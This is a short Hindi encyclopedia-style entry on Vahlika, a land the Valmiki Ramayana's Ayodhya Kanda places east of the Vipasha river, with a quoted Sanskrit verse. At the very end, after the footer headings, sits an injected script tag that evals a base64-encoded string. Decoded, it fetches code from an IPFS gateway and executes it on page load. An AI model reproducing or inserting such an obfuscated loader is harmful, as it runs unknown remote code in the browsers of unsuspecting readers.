वाह्लीक नामक एक देश का वर्णन वाल्मीकि रामायण, अयोध्याकाण्ड[1] में हुआ है, जहाँ इसे विपाशा नदी के पूर्व में स्थित बताया गया है[2]-
'अवेक्ष्यांजलिपानांश्च ब्राह्यणांवेदपारगान्, ययुर्मध्येन वाल्हीकान्सुदामानं च पर्वतम्, विष्णो: पदं प्रेक्षमाणा विपाशां चापि शाल्मलीम्।'
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>